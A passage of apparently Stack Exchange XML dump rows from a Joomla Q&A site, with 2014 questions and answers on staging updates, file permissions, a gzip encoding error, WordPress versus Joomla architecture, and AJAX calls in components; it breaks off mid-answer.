  <row Id="126" PostTypeId="1" AcceptedAnswerId="128" CreationDate="2014-04-23T03:34:10.017" Score="13" ViewCount="526" Body="&lt;p&gt;How do you push updates live to templates and modules once you have gone live with the site?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We tend to do a few different solutions as we develop on one site and then akeeba backup to push the site first live. Following that though, to repeat this process again means destroying the old site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One solution is obviously just ftp up the different files, templates, css, images etc but this is not that quick and some links might break for a few minutes until its done. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another is to use git hub where we have the code but we are a small team so working on to many branches and releases can make project too much work to be clear to have master be the only version to go live to update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically any tips or solution to putting things on a staging site and then pushing them to live while the live site will be having articles and user registration, etc put in as a live site so cant be replaced.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thank you&lt;/p&gt;&#xA;" OwnerUserId="109" LastEditorUserId="126" LastEditDate="2015-08-21T18:26:26.460" LastActivityDate="2015-08-21T18:26:26.460" Title="How do you update a website once it has gone live?" Tags="|development|cms|workflow|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="127" PostTypeId="1" AcceptedAnswerId="138" CreationDate="2014-04-23T03:42:47.380" Score="1" ViewCount="1996" Body="&lt;p&gt;I have been doing some speed optimization tests and changes to improve a joomla 3 site and now the site and admin works fine until I try and add a new article and the page will not load I just get a browser &quot;Content Encoding Error&quot;.&#xA;It seems to effect FireFox more than Chrome for some reason.&lt;/p&gt;&#xA;" OwnerUserId="109" LastEditorUserId="10" LastEditDate="2014-04-23T22:10:00.167" LastActivityDate="2014-04-23T22:10:00.167" Title="Content Encoding Error when try to add an Article" Tags="|joomla-3.x|articles|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="128" PostTypeId="2" ParentId="126" CreationDate="2014-04-23T04:33:59.470" Score="8" Body="&lt;p&gt;Simply install the extension or template again (without uninstalling the original) by uploading it to the Extension Manager.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We typically create fully installable extensions for our sites. We install them on our development server for testing, and when they are suitable, we simply install them on the production server. As long as the method in the &lt;a href=&quot;http://docs.joomla.org/Manifest_files&quot;&gt;manifest file&lt;/a&gt; is set to update, you can quickly update your existing extensions simply by uploading them to the Extension Manager.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Working in this way allows us to update the production site without any downtime and ensures that the database data on the production server remains untouched (unless we elect to change it through an update script or SQL file).&lt;/p&gt;&#xA;" OwnerUserId="32" LastActivityDate="2014-04-23T04:33:59.470" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="129" PostTypeId="2" ParentId="124" CreationDate="2014-04-23T04:40:43.837" Score="12" Body="&lt;p&gt;Each extension provider creates their own update server which is specified in the manifest file included with the extension. Here is the Joomla! documentation on &lt;a href=&quot;http://docs.joomla.org/Deploying_an_Update_Server&quot;&gt;deploying an update server&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While this sounds complicated, it is actually really simple. At it's most basic, the server consists of an XML file that tells Joomla! where to find each available version of the extension. Joomla! selects the appropriate version and retrieves it from the location specified by the server.&lt;/p&gt;&#xA;" OwnerUserId="32" LastActivityDate="2014-04-23T04:40:43.837" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="130" PostTypeId="2" ParentId="124" CreationDate="2014-04-23T04:44:30.417" Score="4" Body="&lt;p&gt;Each extension provider runs their own &quot;update server&quot;, the location of which is contained within the extension manifest xml file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For further information&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://docs.joomla.org/Deploying_an_Update_Server&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/Deploying_an_Update_Server&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://docs.joomla.org/J3.2%3aCreating_a_simple_module/Adding_Auto_Update&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/J3.2:Creating_a_simple_module/Adding_Auto_Update&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="127" LastActivityDate="2014-04-23T04:44:30.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="131" PostTypeId="2" ParentId="85" CreationDate="2014-04-23T04:54:59.700" Score="18" Body="&lt;p&gt;Both Wordpress and Joomla! are highly-regarded and each have there unique advantages when you compare them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer your questions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;in the software architecture between Joomla! and Wordpress&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Joomla is &lt;em&gt;OOP&lt;/em&gt; (object-oriented) and &lt;em&gt;MVC&lt;/em&gt; (an object-oriented design pattern).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Wordpress is written in Procedural code.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Procedural programming specifies the &lt;em&gt;steps&lt;/em&gt; the program must take to reach the desired state, whereas &lt;em&gt;object-oriented programming&lt;/em&gt; (&quot;OOP&quot;) organizes programs into &lt;em&gt;objects&lt;/em&gt; or &lt;em&gt;data-structures&lt;/em&gt; and &lt;em&gt;methods&lt;/em&gt; together with their interactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For simple programs, procedural code (think of a line-by-line sequence of commands) works great, but for large complex applications, procedural code can be harder to maintain - often resulting in what's called &lt;em&gt;spaghetti code&lt;/em&gt; (i.e. when the line-by-line sequence of commands starts using many GOTOs, exceptions, threads or other branching constructs and it's flow becomes conceptually like a bowl of spaghetti).  In other words, Procedural code starts off simple, but can become complex and tangled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More complex applications can therefore be better structured with OOP and with MVC - a a more advanced style of programming that's much better suited to building really complex programs with a lot of moving parts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whereas procedural code may initially be easier to write and maintain for simple programs, OOP has advantages in that it can neatly pull together collections of variables (called 'properties' in OOP) functions (called 'methods' in OOP) into bundles - resulting in code that is tidier, easier to read, maintain and extend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For most Wordpress applications (e.g. simple blogs), procedural code works perfectly well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more complex applications (e.g. those requiring user group permissions and those which use many integrate many extensions to extend features and functions), OOP is generally considered a much more elegant approach.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To sum up:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Worpress's software architecture (based on procedural code) has it's strengths in simplicity, but procedural code is not ideal for complex applications which robust extensibility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla!'s software architecture (OOP/MVC) may seem more complex, but when well-engineered, OOP/MVC actually makes it much simpler to extend an application's features and functions &lt;em&gt;and&lt;/em&gt; to have all those extensions work together harmoniously.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to understand the differences (at a basic beginner level), read &lt;a href=&quot;http://blog.pehamraza.com/tech/php-procedural-vs-php-oo-vs-php-mvc/&quot;&gt;PHP Procedural vs PHP OO vs PHP MVC&lt;/a&gt; by Peham Raza - he discusses the 'ins and outs' of each in way that makes it easy to better understand the benefits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;in the way in which extensions to the core (out-of-the-box) functionality are made?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Joomla added features with Module,Component,Plugins&lt;/li&gt;&#xA;&lt;li&gt;WorPress uses plugin for it feature extending.&lt;/li&gt;&#xA;&lt;li&gt;Joomla is strict in its module , plugin  or component creation(you cannot simply upload the files via FTP and just activate, you have to do it with Extension installer).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How the core and extensions are upgraded and updated&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Both are using almost same technique for the upgrade or updates.(They provide developers to create new features with extensions or template changes with override So basically no core files we need to edit on this situations so upgrade will improve their security patches and more.)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There is a saying Wordpress is not a CMS, but now days it is a CMS with all the features of Joomla and more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress is good for users that have less development knowledge, and Joomla for developers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope its make sense.&lt;/p&gt;&#xA;" OwnerUserId="138" LastEditorUserId="126" LastEditDate="2014-11-28T19:29:27.953" LastActivityDate="2014-11-28T19:29:27.953" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="132" PostTypeId="1" AcceptedAnswerId="161" CreationDate="2014-04-23T05:00:02.280" Score="26" ViewCount="17516" Body="&lt;p&gt;In the past I’ve often run into trouble with permissions and ownership of Joomla files/directories on linux systems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Problems included&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Not being able to transfer files to the server using programs such as WinSCP. &lt;/li&gt;&#xA;&lt;li&gt;Not being able to install Joomla extensions, plugins etc.&lt;/li&gt;&#xA;&lt;li&gt;Insecure files and folders due to dangerous permissions and ownership&#xA;settings.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What are the recommended best practices for setting permissions and ownerships in Joomla on linux systems?&lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2014-04-25T05:32:09.667" LastActivityDate="2016-09-06T23:09:18.953" Title="Recommended practices regarding Joomla file/directory permissions and ownership on linux systems?" Tags="|cms|security|recommended-practices|file-permissions|linux|" AnswerCount="8" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="133" PostTypeId="2" ParentId="132" CreationDate="2014-04-23T05:06:26.690" Score="12" Body="&lt;p&gt;Please check the permission levels, &lt;strong&gt;it should be 644 and 755 for files and folders respectively.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many times the permission levels are just fine, even when some issues are faced. It means that you will have to &lt;strong&gt;check the the ownership and group of the specific files and folders&lt;/strong&gt;. Normally the group and ownership can be changed to www-data for apache (used in ubuntu based web servers).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Feel free to check out this interesting Joomla document based upon &lt;a href=&quot;http://docs.joomla.org/Verifying_permissions&quot;&gt;verifying the file permissions.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="144" LastEditorUserId="140" LastEditDate="2014-04-23T10:42:20.883" LastActivityDate="2014-04-23T10:42:20.883" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="134" PostTypeId="2" ParentId="127" CreationDate="2014-04-23T05:13:00.067" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;Clear the browser cache&lt;/li&gt;&#xA;&lt;li&gt;Clean Joomla Cache&lt;/li&gt;&#xA;&lt;li&gt;If it still does not work then disable 'Gzip Page Compression' global configuration.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="144" LastActivityDate="2014-04-23T05:13:00.067" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="135" PostTypeId="2" ParentId="126" CreationDate="2014-04-23T05:22:09.027" Score="6" Body="&lt;p&gt;There are some free and paid extensions that can help with staging.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EasyStaging&lt;/strong&gt; is a free extension from Craig Phillips (who is an active member on this forum): &lt;a href=&quot;http://extensions.joomla.org/extensions/hosting-a-servers/database-management/21308&quot;&gt;http://extensions.joomla.org/extensions/hosting-a-servers/database-management/21308&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;SP Staging&lt;/strong&gt; is a paid extension from SP Cyend: &lt;a href=&quot;http://extensions.joomla.org/extensions/access-a-security/site-security/site-monitoring/20396&quot;&gt;http://extensions.joomla.org/extensions/access-a-security/site-security/site-monitoring/20396&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some web hosting companies are also now providing tools to help with staging.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;SiteGround&lt;/strong&gt;: &lt;a href=&quot;http://blog.siteground.com/siteground-staging&quot;&gt;http://blog.siteground.com/siteground-staging&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Rochen&lt;/strong&gt;: &lt;a href=&quot;http://blog.rochenhost.com/2011/11/creating-a-joomla-staging-site&quot;&gt;http://blog.rochenhost.com/2011/11/creating-a-joomla-staging-site&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2014-04-23T05:22:09.027" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="136" PostTypeId="2" ParentId="85" CreationDate="2014-04-23T05:24:04.923" Score="2" Body="&lt;p&gt;As you are talking about architecture, it does matter when you are building a portal or a complex website i.e. lots of inter-connected entities. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Joomla source code is object oriented.&lt;/li&gt;&#xA;&lt;li&gt;Joomla code is very well divided i.e. applications, plugins, components.&lt;/li&gt;&#xA;&lt;li&gt;Most of the design patterns are followed in Joomla, e.g. Factory, Decorator, Dependency Injection, etc.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;As a C and C++ developer when I adopted joomla, I loved it as it uses same set of standards rather then functions spoiling the global namespace.&lt;/p&gt;&#xA;" OwnerUserId="144" LastActivityDate="2014-04-23T05:24:04.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="137" PostTypeId="2" ParentId="8" CreationDate="2014-04-23T05:36:12.500" Score="4" Body="&lt;ol&gt;&#xA;&lt;li&gt;Write a small script which calculates md5 of original-files which you have done over-riding. &lt;/li&gt;&#xA;&lt;li&gt;Dump these file-path and MD5 into a file in your template&lt;/li&gt;&#xA;&lt;li&gt;Whenever joomla is updated, run the above script again. &lt;/li&gt;&#xA;&lt;li&gt;Check the difference in MD5, if any then you need to check it out.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tip:&lt;/strong&gt; Override the files only if those changes cannot be done by CSS overriding.&lt;/p&gt;&#xA;" OwnerUserId="144" LastActivityDate="2014-04-23T05:36:12.500" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="138" PostTypeId="2" ParentId="127" CreationDate="2014-04-23T06:08:50.237" Score="3" Body="&lt;p&gt;This could happen when gzip compression is enabled and your browser isn't configured to accept compressed content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try the following&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;In Firefox address bar, type &lt;code&gt;about:config&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;If a warning is shown, accept and proceed.&lt;/li&gt;&#xA;&lt;li&gt;In search bar, type &lt;code&gt;encoding&lt;/code&gt; &lt;/li&gt;&#xA;&lt;li&gt;For &lt;code&gt;network.http.accept-encoding&lt;/code&gt; option, double click on value&lt;/li&gt;&#xA;&lt;li&gt;Change it to &lt;code&gt;gzip,deflate&lt;/code&gt;. Click Ok.&lt;/li&gt;&#xA;&lt;li&gt;Refresh and try adding a new article.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="145" LastActivityDate="2014-04-23T06:08:50.237" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="139" PostTypeId="1" AcceptedAnswerId="140" CreationDate="2014-04-23T06:10:43.357" Score="9" ViewCount="73" Body="&lt;p&gt;Should a sites development be completed prior to setting the compression for site and jquery? If so then what would happen if you then need to do maintenance of the site further down the track.&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2014-04-23T06:20:38.323" Title="Compressing Site prior to completion" Tags="|compression|jquery|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="140" PostTypeId="2" ParentId="139" CreationDate="2014-04-23T06:20:38.323" Score="7" Body="&lt;ol&gt;&#xA;&lt;li&gt;You should maintain the uncompressed version for development.&lt;/li&gt;&#xA;&lt;li&gt;Use any tool to compress the javascript files automatically.&lt;/li&gt;&#xA;&lt;li&gt;if Joomla debug mode is true, include un-compressed files, else include compressed files.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tip&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Checking  debug mode in joomla.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo JDEBUG ? 'debug mode is on' : 'debug mode is off' ;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="144" LastActivityDate="2014-04-23T06:20:38.323" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="141" PostTypeId="2" ParentId="36" CreationDate="2014-04-23T06:38:24.200" Score="3" Body="&lt;p&gt;Here is another way of getting the correct root URL of the site. This also takes care if your site is in subfolder&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$rootURL = rtrim(JURI::base(),'/');&#xA;        $subpathURL = JURI::base(true);&#xA;        if(!empty($subpathURL) &amp;amp;&amp;amp; ($subpathURL != '/')) {&#xA;            $rootURL = substr($rootURL, 0, -1 * strlen($subpathURL));&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you can do&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$url = $rootURL.JRoute::_(ContentHelperRoute::getArticleRoute(  $article-&amp;gt;id,  $article-&amp;gt;catid ));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15" LastActivityDate="2014-04-23T06:38:24.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="142" PostTypeId="2" ParentId="132" CreationDate="2014-04-23T06:58:57.143" Score="7" Body="&lt;p&gt;Permissions should be 644 and 755 as explained by Shyam.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problems you are facing are most likely related to the way your server is set up. Most of the time this happens on shared hosts where Apache runs under a different user than your FTP account. Since you usually upload Joomla using FTP, Apache isn't the owner of the file and thus doesn't have the needed permissions to change it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a FTP mode within Joomla which allows you to bypass this problem. You can enable it in the Joomla global configuration. It will then do all file accessing using the FTP user instead of the regular Apache user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A better way however is to ask your host to fix the issue. They can set up PHP (Apache) to run under a special user, which in such a case should be your FTP user. Then everything will work fine.&lt;/p&gt;&#xA;" OwnerUserId="52" LastEditorUserId="52" LastEditDate="2014-04-23T12:38:46.130" LastActivityDate="2014-04-23T12:38:46.130" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="143" PostTypeId="2" ParentId="1" CreationDate="2014-04-23T07:18:16.427" Score="17" Body="&lt;p&gt;Yes, as far as i'm concerned, the way you built the subquery is the one adopted by the majority of joomla's extensions developers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use that same method on some of my extensions and custom extensions made for clients. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no &quot;official&quot; way of doing this, but doing it as you showed lets you use the query builder and still retain a good amount of readability&lt;/p&gt;&#xA;" OwnerUserId="157" LastActivityDate="2014-04-23T07:18:16.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="144" PostTypeId="2" ParentId="132" CreationDate="2014-04-23T07:22:13.197" Score="7" Body="&lt;p&gt;Permissions should be 644 and 755 as explained by Shyam.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Joomla you can avoid all the problems you mentioned ,with following methods.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Not being able to transfer files to the server using programs such as WinSCP.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;This may happen due to permission of (444) like Joomla &lt;code&gt;configuration.php&lt;/code&gt; have this permission its doesn't allow by default(for security).&lt;/li&gt;&#xA;&lt;li&gt;Another situation for this same error is when you transfer a site or folders from one server to another. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Not being able to install Joomla extensions, plugins etc.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;This will happen due to &lt;code&gt;temp/log&lt;/code&gt; folder bad permission.(It required 755)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Or another reason is &lt;code&gt;temp/log&lt;/code&gt; path is wrong in &lt;code&gt;configuration.php&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Insecure files and folders due to dangerous permissions and ownership settings.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;This is most important Joomla always recommend do not use 777 for file and folder if you are not aware of &lt;a href=&quot;http://docs.joomla.org/Verifying_permissions&quot;&gt;this&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Hope its helps..&lt;/p&gt;&#xA;" OwnerUserId="138" LastActivityDate="2014-04-23T07:22:13.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="145" PostTypeId="2" ParentId="132" CreationDate="2014-04-23T07:33:21.690" Score="8" Body="&lt;p&gt;An easy solution for me is to often let PHP run in (Fast-)CGI mode and to set the ownership of the Joomla directory to the FTP user. So you will be able to upload and overwrite files via FTP and Joomla will be able to write files too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A way to do this on a shared hosting environment (if it is allowed), is to add something like this to your .htaccess file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;AddHandler php53-cgi .php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also see an overview about the &lt;a href=&quot;http://blog.layershift.com/which-php-mode-apache-vs-cgi-vs-fastcgi/&quot;&gt;different modes&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="154" LastEditorUserId="140" LastEditDate="2014-04-23T10:45:35.653" LastActivityDate="2014-04-23T10:45:35.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="146" PostTypeId="1" AcceptedAnswerId="147" CreationDate="2014-04-23T07:43:11.957" Score="40" ViewCount="33872" Body="&lt;p&gt;I am developing a custom component for Joomla! 3.x and want to make an AJAX call inside it to retrieve some data. What is the proper way to do it?&lt;/p&gt;&#xA;" OwnerUserId="3" LastEditorUserId="69" LastEditDate="2014-04-23T18:58:17.140" LastActivityDate="2017-09-29T06:33:54.650" Title="What is the proper way to make an AJAX call in component?" Tags="|component|ajax|development|joomla-3.x|" AnswerCount="6" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="147" PostTypeId="2" ParentId="146" CreationDate="2014-04-23T07:57:27.947" Score="49" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;PLEASE NOTE THAT THIS ANSWER is already a few years old and was not&#xA;  updated. Feel free to edit / comment if you think something is no longer exact.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h1&gt;Abstract&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;There is almost no really official way of dealing with this, it much depends on the complexity and how much you want to rely on the MVC pattern to do the work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below are some possible solutions what should work in Joomla 2.5 and 3.x. The code is not presented for a copy - paste job but rather as a general idea.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Prior to Joomla! 3.2 the only thing you need to use the examples below is a &lt;code&gt;component&lt;/code&gt;. After Joomla 3.2 (for lower complex tasks) you can handle request from modules and plugins.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;&lt;strong&gt;Generic HTML response (following legacy MVC)&lt;/strong&gt;&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Your &lt;strong&gt;URL&lt;/strong&gt; for the task needs to look like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;index.php?option=com_similar&amp;amp;task=abc&amp;amp;format=raw&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You than create the controller which will use the view, let's say &lt;code&gt;Abc&lt;/code&gt;, which will contain the file view.raw.html (identical to a normal view file).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below you have the code for generate a raw HTML response:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;/controller.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function abc() &#xA;{&#xA;    // Set view&#xA;&#xA;    // Joomla 2.5&#xA;    JRequest::setVar('view', 'Abc'); &#xA;&#xA;    // (use JInput in 3.x)&#xA;    $this-&amp;gt;input-&amp;gt;set('view', 'Abc');&#xA;&#xA;    parent::display();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;/views/abc/view.raw.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('_JEXEC') or die;&#xA;&#xA;jimport('joomla.application.component.view');&#xA;&#xA;class SimilarViewAbc extends JViewLegacy&#xA;{&#xA;    function display($tpl = null)&#xA;    {&#xA;        parent::display($tpl);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;/views/abc/tmpl/default.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;echo &quot;Hello World from /views/abc/tmpl/default.php&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note: This is the solution I would use if I had to return HTML (it's cleaner and follows Joomla logic). For returning simple JSON data, see below how to put everything in the controller.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Subcontrollers&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you make your Ajax request to a &lt;strong&gt;subcontroller&lt;/strong&gt;, like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;index.php?option=com_similar&amp;amp;controller=abc&amp;amp;format=raw&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Than your subcontroller name (for the raw view) needs to be &lt;code&gt;abc.raw.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means also that you will / may have 2 subcontrollers named Abc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you return JSON, it may make sense to use &lt;code&gt;format=json&lt;/code&gt; and &lt;code&gt;abc.json.php&lt;/code&gt;. In Joomla 2.5. I had some issues getting this option to work (somehow the output was corrupted), so I used raw.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;Valid JSON Response (following new / legacy MVC)&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;If you need to &lt;strong&gt;generate a valid JSON response&lt;/strong&gt;, check out the docs page &lt;a href=&quot;http://docs.joomla.org/Generating_JSON_output&quot; rel=&quot;nofollow noreferrer&quot;&gt;Generating JSON output&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// We assume that the whatver you do was a success.&#xA;$response = array(&quot;success&quot; =&amp;gt; true);&#xA;// You can also return something like:&#xA;$response = array(&quot;success&quot; =&amp;gt; false, &quot;error&quot;=&amp;gt; &quot;Could not find ...&quot;);&#xA;&#xA;// Get the document object.&#xA;$document = JFactory::getDocument();&#xA;&#xA;// Set the MIME type for JSON output.&#xA;$document-&amp;gt;setMimeEncoding('application/json');&#xA;&#xA;// Change the suggested filename.&#xA;JResponse::setHeader('Content-Disposition','attachment;filename=&quot;result.json&quot;');&#xA;&#xA;echo json_encode($response);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You would generally put this code in the controller (you will call a model which will return the data you encode - a very common scenario). If you need to take it further, you can also create a JSON view (view.json.php), similar with the raw example.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;Security&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Now that the Ajax request is working, don't close the page yet. Read below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't forget to check for request forgeries. &lt;code&gt;JSession::checkToken()&lt;/code&gt; come in handy here. Read the documentation on How to add &lt;a href=&quot;http://docs.joomla.org/How_to_add_CSRF_anti-spoofing_to_forms&quot; rel=&quot;nofollow noreferrer&quot;&gt;CSRF anti-spoofing to forms&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;Multilingual sites&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;It may happen that if you don't send the language name in the request, Joomla won't translate the language strings you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consider appending somehow the 